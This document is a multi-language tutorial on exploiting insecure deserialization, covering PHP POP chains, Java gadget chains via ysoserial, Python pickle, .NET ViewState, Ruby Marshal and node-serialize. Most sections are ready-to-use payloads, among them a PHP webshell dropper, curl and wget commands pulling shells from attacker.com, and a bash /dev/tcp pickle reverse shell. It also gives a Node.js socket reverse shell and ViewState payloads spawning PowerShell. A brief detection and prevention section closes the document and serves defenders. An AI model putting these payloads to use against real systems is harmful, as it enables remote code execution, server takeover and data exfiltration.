1. PHP Magic Methods & POP Chain Construction

PHP's serialization format stores object state as a string. When unserialize() processes attacker-controlled data it automatically triggers magic methods — special PHP callbacks that fire during an object's lifecycle. The art of PHP deserialization exploitation is chaining these magic methods across different classes to ultimately reach a dangerous sink (file write, command execution, eval).

Magic Methods That Fire During Deserialization

MethodWhen TriggeredAttack Use
__wakeup()Immediately after unserialize()Entry point — first code to run
__destruct()When object goes out of scope / end of scriptReliable sink — always fires
__toString()Object used as a stringChain pivot — trigger via echo/concatenation
__call()Calling an undefined methodProxy pivot to another object
__get()Reading an undefined/inaccessible propertyChain pivot
__invoke()Object used as a function: $obj()Callback exploitation

Building a POP Chain Step by Step

A Property Oriented Programming (POP) chain abuses existing classes in the application (or its libraries) — you don't inject code, you redirect execution through legitimate code paths using manipulated object properties. Here is a realistic example using a framework with a Logger class and a FileWriter class.

Suppose the application has these classes:

// Class 1: Logger — triggered on destruct
class Logger {
    public $writer;
    public function __destruct() {
        // intended: flush logs to writer
        $this->writer->flush($this->logData);
    }
}

// Class 2: FileWriter — flush writes to disk
class FileWriter {
    public $filename;
    public $content;
    public function flush($data) {
        file_put_contents($this->filename, $this->content);
    }
}

The POP chain works as follows:

  1. Craft a Logger object whose $writer property points to a FileWriter instance.
  2. Set FileWriter::$filename to /var/www/html/shell.php.
  3. Set FileWriter::$content to a PHP webshell string.
  4. Serialize the Logger object and deliver it in the deserialization sink (cookie, POST body, etc.).
  5. When PHP destroys the object, Logger::__destruct() fires, calls FileWriter::flush(), which writes the shell to disk.
// Payload generation script (run locally, same PHP version)
class FileWriter {
    public $filename = '/var/www/html/shell.php';
    public $content  = '<?php system($_GET["cmd"]); ?>';
}
class Logger {
    public $writer;
    public $logData = '';
}
$fw  = new FileWriter();
$log = new Logger();
$log->writer = $fw;
echo serialize($log);
// Output:
// O:6:"Logger":2:{s:6:"writer";O:10:"FileWriter":2:{s:8:"filename";
// s:22:"/var/www/html/shell.php";s:7:"content";s:30:"<?php system($_GET["cmd"]); ?>";}
// s:7:"logData";s:0:"";}

Send it in the vulnerable parameter:

POST /profile/update HTTP/1.1
Host: target.example.com
Cookie: session=eyJ...

user_data=O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A6%3A%22writer%22%3BO%3A10%3A%22FileWriter%22...
Chain Hunting Tip When auditing a codebase, grep for unserialize( then map every reachable class with a magic method. Tools like PHPGGC (PHP Generic Gadget Chains) maintain a library of pre-built chains for Laravel, Symfony, Zend, Magento, and more.

Using PHPGGC

# List available chains
./phpggc -l

# Generate a Laravel RCE chain (file write)
./phpggc Laravel/RCE1 system 'id'

# Generate base64-encoded payload for cookie delivery
./phpggc -b Laravel/RCE1 system 'id'

# Generate URL-encoded payload
./phpggc -u Laravel/RCE1 system 'id'

# Symfony chain — write a webshell
./phpggc Symfony/RCE4 exec 'curl http://attacker.com/shell.php -o /var/www/html/sh.php'

2. PHP Property Injection via Serialized Objects

Even without a full RCE chain, modifying serialized object properties can bypass access controls, privilege-escalate accounts, or alter application logic in exploitable ways.

The Serialized Format

PHP serialization uses a compact notation:

// Original object
O:4:"User":3:{
  s:8:"username";s:7:"masaaki";
  s:4:"role";s:4:"user";
  s:6:"active";b:1;
}

Format tokens: O: = object, s: = string, i: = integer, b: = boolean, a: = array. The number after the colon is the length.

Attack: Escalate Role to Admin

// Modified — role changed to "admin", length updated from 4 to 5
O:4:"User":3:{
  s:8:"username";s:7:"masaaki";
  s:4:"role";s:5:"admin";
  s:6:"active";b:1;
}
Critical: Length Must Match PHP's unserialize is strict about string lengths. If you change "user" (4 chars) to "admin" (5 chars) but leave s:4:, PHP will throw a parse error or silently fail. Always update the length token.

Attack: Bypass isPaid Check

// Original — isPaid is false (b:0)
O:11:"Subscription":2:{s:6:"userId";i:1042;s:6:"isPaid";b:0;}

// Modified — flip boolean to true
O:11:"Subscription":2:{s:6:"userId";i:1042;s:6:"isPaid";b:1;}

Private/Protected Properties

Private properties are serialized with a \x00ClassName\x00 prefix, protected with \x00*\x00. When crafting payloads manually, these null bytes must be present (URL-encode them as %00):

# Private property: \x00User\x00password
O:4:"User":1:{s:14:"\x00User\x00password";s:13:"attacker_pass";}

# In URL encoding
O%3A4%3A%22User%22%3A1%3A%7Bs%3A14%3A%22%00User%00password%22%3Bs%3A13%3A%22attacker_pass%22%3B%7D

3. Java Deserialization — readObject & Gadget Chains

Java's native serialization invokes readObject() on any class that implements java.io.Serializable. If a class overrides readObject() without proper validation, or if the deserialization classpath contains classes with dangerous readObject implementations, an attacker can trigger RCE simply by providing a crafted byte stream.

How readObject Works

When Java deserializes an object stream, it reads the class descriptor, then for each object in the stream, it calls that class's readObject method. The key insight: all constructors and resolvers fire before your application code sees the object. Libraries like Apache Commons Collections had readObject implementations in InvokerTransformer that, when chained correctly, invoke arbitrary methods.

ysoserial — Generating Gadget Chain Payloads

# List all available gadget chains
java -jar ysoserial.jar --help

# CommonsCollections6 (works on Java 8–11, no @SuppressWarnings needed)
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/`id`' > payload.ser

# Spring1 — works against Spring Framework + Commons Collections
java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/shell.sh' > payload.ser

# URLDNS — works without any extra lib deps, only triggers DNS lookup
# Useful for blind detection (Burp Collaborator)
java -jar ysoserial.jar URLDNS 'http://your-collaborator-id.burpcollaborator.net' > probe.ser

# Groovy1 — Groovy on classpath
java -jar ysoserial.jar Groovy1 'id' > payload.ser

# Base64-encode for HTTP delivery
base64 -w0 payload.ser > payload.b64

Deliver via HTTP — the raw bytes or base64 in a serialized parameter:

POST /api/session/restore HTTP/1.1
Host: target.example.com
Content-Type: application/x-java-serialized-object

rO0ABXNyAC5jb20uc3VuLm9yZy5hcGFjaGUueG1sLmludGVybmFsLnNlcmlhbGl6ZXIu...

CommonsCollections Chain — What Happens Under the Hood

The CC6 chain exploits HashSet → HashMap → TiedMapEntry → LazyMap → ChainedTransformer → InvokerTransformer. When readObject reconstructs the HashSet, it recomputes hashes, which walks the transformer chain, ultimately calling Runtime.exec() with attacker-supplied arguments.

// Simplified chain view (not runnable — conceptual)
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"curl http://attacker.com/`id`"})
});
Beyond ysoserial marshalsec targets JNDI injection via RMI/LDAP for newer Java deserialization vectors. GadgetInspector performs static analysis to discover gadget chains in arbitrary JARs. For environments with JDK 8u191+ (JNDI restrictions), use the Deser-Lab or look for application-specific gadgets.

4. Identifying Java Serialized Data in HTTP Traffic

Java serialized streams always begin with the magic bytes AC ED 00 05. In HTTP, you'll encounter these in various encodings:

LocationRaw / EncodingSignature
HTTP bodyBinary0xAC 0xED 0x00 0x05
Cookie / headerBase64Starts with rO0AB
URL parameterBase64 + URL-encodedrO0ABrO0AB...
Custom headerHexaced0005
# Detect in Burp: search for rO0AB in response/request
# Decode base64 then check magic bytes
echo 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABN1cgATW0...' | base64 -d | xxd | head

# Output should show:
# 00000000: aced 0005 7372 0011 6a61 76 ...   ....sr..java

# Grep in raw traffic captures
strings capture.pcap | grep -E '^rO0AB'

Common Vulnerable Endpoints

Apache Shiro Default Key Shiro's rememberMe cookie is AES-CBC encrypted with a hardcoded default key: kPH+bIxk5D2deZiIxcaaaA==. If the key has not been changed, you can encrypt a ysoserial payload and deliver it as the cookie. Tools: shiro_exploit, ShiroExploit.py.

5. Python Pickle RCE via __reduce__

Python's pickle module is fundamentally unsafe for untrusted data — its design allows arbitrary code execution by design via the __reduce__ protocol. When pickle deserializes an object, it calls __reduce__ (or __reduce_ex__) which returns a callable and its arguments; pickle then calls that callable.

Crafting a Malicious Pickle

import pickle, os, base64

class RCE:
    def __reduce__(self):
        # Return (callable, args) — pickle will execute callable(*args)
        cmd = "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
        return (os.system, (cmd,))

# Serialize
payload_bytes = pickle.dumps(RCE())
payload_b64   = base64.b64encode(payload_bytes).decode()
print(payload_b64)

When the server runs pickle.loads(base64.b64decode(user_input)), the reverse shell fires. A more versatile variant uses subprocess for better control:

import pickle, subprocess, base64

class RCE:
    def __reduce__(self):
        return (subprocess.check_output,
                (['curl', 'http://attacker.com/shell.sh', '-o', '/tmp/sh.sh'],))

Raw Opcode Payload (No Class Required)

Pickle operates on a stack machine with opcodes. You can write raw opcodes to bypass filters that block os or subprocess imports:

import pickle

# Equivalent to os.system('id') using raw pickle opcodes
payload = b"cos\nsystem\n(S'id'\ntR."

# Verify locally
pickle.loads(payload)  # executes id

Where to Look for Pickle Sinks

POST /api/model/predict HTTP/1.1
Host: ml.target.example.com
Content-Type: application/octet-stream
X-Model-Format: pickle

[binary pickle payload]

.NET ViewState — Decoding, Tampering & MAC Bypass

ASP.NET WebForms use ViewState to persist UI state across postbacks. ViewState is a base64-encoded binary serialized object stored in a hidden form field. By default it is MAC-signed (HMAC-SHA1 using the machine key from web.config), but the protection level is configurable and has historically been misconfigured or bypassed.

Scenario 1: No MAC Validation

If enableViewStateMac="false" is set in web.config (common in legacy apps), ViewState is simply base64 LosFormatter binary. You can tamper it directly:

# Decode ViewState
echo '[base64 from __VIEWSTATE field]' | base64 -d > viewstate.bin

# Use ysoserial.net to generate a payload
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt"

# Send in the POST body
__VIEWSTATE=[ysoserial_output]&__VIEWSTATEGENERATOR=XXXXX

Scenario 2: MAC Enabled, But Key Leaked

If you find the machineKey in a leaked web.config, backup file, or through a path traversal, you can generate a validly-signed malicious ViewState:

# web.config entry (target's leaked config)
<machineKey
  validationKey="3A96B42B7E5F4E28A1E7D9C8F3B2A1D0E5C4B3A2F1E0D9C8B7A6F5E4D3C2B1A0"
  decryptionKey="9F3A2B1C8D7E6F5A4B3C2D1E0F9A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1"
  validation="SHA1" decryption="AES" />

# Generate signed malicious ViewState using ysoserial.net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter `
  --validationKey "3A96B42B..." `
  --validationAlg "SHA1" `
  -c "powershell -enc [base64 encoded reverse shell]"

Scenario 3: Encrypted ViewState with Known Key

If ViewState is encrypted (ViewStateEncryptionMode="Always"), the decryption key from machineKey is used. With the key in hand, ysoserial.net's --decryptionKey flag handles AES decryption and re-encryption transparently.

Detecting ViewState Endpoints

# Look for __VIEWSTATE in responses
# Burp Suite: Engagement Tools → Search → "__VIEWSTATE"

# Probe for MAC validation
# 1. Capture a valid __VIEWSTATE
# 2. Flip a single bit in the base64-decoded value
# 3. Re-encode and send — if 500/ViewState MAC error: MAC enabled
# 4. If the page loads normally: no MAC validation

7. Ruby Marshal Gadget Chains

Ruby's Marshal.load is analogous to PHP's unserialize — it restores object graphs from binary data. Ruby on Rails historically exposed Marshal deserialization via session cookies and cache stores. The marshal_gadgets / universal_rce_gadget exploit chains abuse Rails' ActiveRecord and Erb template rendering.

Classic Rails ERB Gadget Chain

# Generate payload using the universal_gadget script
# (From the research by Charlie Somerville)

require 'erb'
require 'base64'

code     = '`id`'
erb      = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "x"
erb.instance_variable_set :@lineno, 1
depr     = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(
             OpenStruct.new(result: nil), :result
           )
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method,   :result

payload = Base64.strict_encode64(Marshal.dump(depr))
puts payload

Delivery in Rails Cookie Store

Older Rails versions (before 4.1) used Marshal for session cookie serialization. If the secret key base is known (leaked via an information disclosure vulnerability), you can sign a malicious cookie:

# Sign the malicious Marshal blob with the app's secret_key_base
# Tools: rails-session-attack, cookie_forge.rb

# HTTP delivery
GET /dashboard HTTP/1.1
Host: rails-app.example.com
Cookie: _session_id=[forged_marshal_cookie]--[HMAC_signature]
Ruby 3.x Mitigations Modern Ruby restricts Marshal.load's behavior and Rails has switched to JSON-based cookies. However, Marshal is still used in some job queue libraries (Sidekiq, Resque) and cache backends — verify what serializer is in use before dismissing the attack surface.

8. Node.js node-serialize — IIFE RCE

The npm package node-serialize (used in older Express.js apps) restores function objects by wrapping function strings in eval(). The exploit abuses Immediately Invoked Function Expressions (IIFE) — a function literal wrapped in () that executes on parse.

Exploit Mechanics

Normal serialized function:

{"func":"_$$ND_FUNC$$_function() { return 1; }"}

The prefix _$$ND_FUNC$$_ tells node-serialize to eval the value as a function. Append () to turn it into an IIFE that runs immediately on deserialization:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://attacker.com/`id`',function(error,stdout,stderr){console.log(stdout)});}()"}

Reverse Shell Payload

{
  "rce":"_$$ND_FUNC$$_function(){
    var net=require('net'),
        cp=require('child_process'),
        sh=cp.spawn('/bin/sh',[]);
    var client=new net.Socket();
    client.connect(4444,'attacker.com',function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
    });
    return /a/;
  }()"
}

URL-encode and deliver in cookie or POST body:

POST /profile HTTP/1.1
Host: node-app.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=%7B%22rce%22%3A%22_$$ND_FUNC$$_function()%7Brequire...

profile=%7B%22rce%22%3A%22_...
Affected Package Versions node-serialize versions <= 0.0.4 are vulnerable. This package was widely copied into tutorials and may appear in legacy Express boilerplates. Search the target's package.json and package-lock.json for node-serialize as an indicator.

9. Detection: Spotting Deserialization Sinks in HTTP Traffic

Automated Scanning

# Burp Suite Active Scan — enable "Insecure deserialization" checks
# Burp Extension: Java Deserialization Scanner (from BApp Store)

# fredsa/gadgetinspector — static analysis on JAR files
java -jar gadgetinspector.jar target-app.jar

# semgrep rules for PHP unserialize sinks
semgrep --config=p/php-security --include="*.php" /path/to/app

Manual Indicators

IndicatorPlatformNotes
Cookie starting with rO0ABJavaBase64 of AC ED magic bytes
Cookie starting with O: or a:PHPRaw PHP serialized string
Cookie containing _$$ND_FUNC$$_Node.jsnode-serialize marker
__VIEWSTATE hidden field.NETTest MAC validation
Content-Type: application/x-java-serialized-objectJavaExplicit serialized type
YAML body with !!python/object tagsPython (PyYAML)PyYAML unsafe_load RCE
Binary body starting at 80 04 95Python pickle protocol 4+Newer pickle format

Burp Probe for Blind Java Deserialization

# Use URLDNS gadget — no class deps, fires DNS on any vulnerable Java app
java -jar ysoserial.jar URLDNS 'http://abc123.burpcollaborator.net' | base64 -w0 > probe.txt

# Replace existing serialized value in cookie/body with this probe
# Monitor Collaborator for DNS interaction — confirms deserialization

10. Prevention

Deserialization vulnerabilities are severe precisely because they are often hard to eliminate without architectural changes. Defense-in-depth is essential.

Never Deserialize Untrusted Input

The only complete fix. Use data formats without executable semantics: JSON, XML (with DTD disabled), Protocol Buffers, MessagePack.

Allowlist Deserialization

Implement a resolveClass override (Java) or custom Unpickler (Python) that only permits known safe classes. Reject anything outside the allowlist.

Integrity Checking

HMAC-sign serialized blobs before storage/transmission. Verify the signature before deserializing. Rotate keys regularly and keep them out of source code.

Java SerialKiller / NotSoSerial

Java agents that hook ObjectInputStream.resolveClass and enforce class allowlisting at the JVM level without requiring application changes.

Patch & Update Gadget Classes

Keep Commons Collections, Spring, Groovy, and other gadget-rich libraries updated. Newer versions remove or harden the vulnerable transformer chains.

Sandboxing & Least Privilege

Run deserialization in a restricted process with no network access, minimal filesystem permissions, and a seccomp/AppArmor profile. Limit blast radius when a gadget fires.

Detection in Production Monitor for unexpected DNS lookups (URLDNS gadget probe), outbound connections from the app server, and Java security exceptions referencing transformer or invoker classes in logs. RASP (Runtime Application Self-Protection) tools like Sqreen and Contrast Security can detect gadget chain execution patterns at runtime.